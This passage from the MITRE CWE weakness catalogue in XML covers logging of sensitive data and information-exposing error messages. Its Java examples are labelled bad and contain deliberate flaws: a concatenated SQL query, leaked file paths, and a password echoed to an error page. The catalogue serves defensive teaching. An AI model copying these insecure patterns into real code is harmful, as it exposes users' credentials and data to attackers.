                        <xhtml:div>BankAccount userAccount = null;<xhtml:br/>String query = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">if (isAuthorizedUser(username)) {<xhtml:div style="margin-left:1em;">query = "SELECT * FROM accounts WHERE owner = "<xhtml:br/>+ username + " AND accountID = " + accountNumber;<xhtml:br/>DatabaseManager dbManager = new DatabaseManager();<xhtml:br/>Connection conn = dbManager.getConnection();<xhtml:br/>Statement stmt = conn.createStatement();<xhtml:br/>ResultSet queryResult = stmt.executeQuery(query);<xhtml:br/>userAccount = (BankAccount)queryResult.getObject(accountNumber);</xhtml:div>}</xhtml:div>} catch (SQLException ex) {<xhtml:div style="margin-left:1em;">String logMessage = "Unable to retrieve account information from database,\nquery: " + query;<xhtml:br/>Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);</xhtml:div>}<xhtml:br/>return userAccount;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2017-9615</Reference>
               <Description>verbose logging stores admin credentials in a world-readablelog file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-9615</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2018-1999036</Reference>
               <Description>SSH password for private key stored in build log</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-1999036</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO13-J</Entry_ID>
               <Entry_Name>Do not log sensitive information outside a trust boundary</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="215"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Likelihood_of_Exploit, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Organization>Fortify Software</Contribution_Organization>
               <Contribution_Date>2009-07-15</Contribution_Date>
               <Contribution_Comment>Portions of Mitigations, Consequences and Description derived from content submitted by Fortify Software.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Log Files</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-06-20">Information Exposure Through Log Files</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Inclusion of Sensitive Information in Log Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="533" Name="DEPRECATED: Information Exposure Through Server Log Files" Abstraction="Variant" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because its abstraction was too low-level.  See CWE-532.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Common_Consequences, Description, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Server Log Files</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-03-27">Information Exposure Through Server Log Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="534" Name="DEPRECATED: Information Exposure Through Debug Log Files" Abstraction="Variant" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because its abstraction was too low-level.  See CWE-532.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Debug Log Files</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-03-27">Information Exposure Through Debug Log Files</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="535" Name="Exposure of Information Through Shell Error Message" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="211" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Shell Error Message</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Shell Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="536" Name="Servlet Runtime Error Message Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="211" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String username = request.getParameter("username");<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// May cause unchecked NullPointerException.</xhtml:i>
                           <xhtml:br/>if (username.length() &lt; 10) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Servlet Runtime Error Message</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Servlet Runtime Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="537" Name="Java Runtime Error Message Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="211" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not expose sensitive error information to the user.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class InputFileRead {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>private File readFile = null;<xhtml:br/>private FileReader reader = null;<xhtml:br/>private String inputFilePath = null;<xhtml:br/>private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";<xhtml:br/>
                           <xhtml:br/>public InputFileRead() {<xhtml:div style="margin-left:1em;">inputFilePath = DEFAULT_FILE_PATH;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public void setInputFile(String inputFile) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>/* Assume appropriate validation / encoding is used and privileges / permissions are preserved */</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public void readInputFile() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">reader = new FileReader(readFile);<xhtml:br/>...</xhtml:div>} catch (RuntimeException rex) {<xhtml:div style="margin-left:1em;">System.err.println("Error: Cannot open input file in the directory " + inputFilePath);<xhtml:br/>System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:br/>} catch (FileNotFoundException ex) {...}<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BankManagerLoginServlet extends HttpServlet {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Get username and password from login page request</xhtml:i>
                                       <xhtml:br/>String username = request.getParameter("username");<xhtml:br/>String password = request.getParameter("password");<xhtml:br/>
                                       <xhtml:i>// Authenticate user</xhtml:i>
                                       <xhtml:br/>BankManager bankMgr = new BankManager();<xhtml:br/>boolean isAuthentic = bankMgr.authenticateUser(username, password);<xhtml:br/>
                                       <xhtml:i>// If user is authenticated then go to successful login page</xhtml:i>
                                       <xhtml:br/>if (isAuthentic) {<xhtml:div style="margin-left:1em;">request.setAttribute("login", new String("Login Successful."));<xhtml:br/>getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>
                                             <xhtml:i>// Otherwise, raise failed login exception and output unsuccessful login message to error page</xhtml:i>
                                             <xhtml:br/>throw new FailedLoginException("Failed Login for user " + username + " with password " + password);</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>} catch (FailedLoginException ex) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// output failed login message to error page</xhtml:i>
                                       <xhtml:br/>request.setAttribute("error", new String("Login Error"));<xhtml:br/>request.setAttribute("message", ex.getMessage());<xhtml:br/>getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
